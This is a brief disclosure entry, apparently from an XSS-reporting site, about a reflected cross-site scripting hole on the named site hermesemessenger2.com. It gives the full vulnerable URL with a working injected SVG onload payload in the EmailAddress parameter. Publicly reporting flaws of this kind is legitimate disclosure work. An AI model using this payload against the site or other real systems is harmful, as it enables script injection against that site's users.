hermesemessenger2.com XSS vulnerability

Vulnerable URL: http://www.hermesemessenger2.com/PKF/public/UpdateLinks.asp?EmailAddress=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=1064=390=http://www.hermesemessenger2.com/PKF/public/issuedelivery/issue390/Web/default.html=c:/hermes/pkf/public/issuedelivery/issue390/Web/default.html Details:...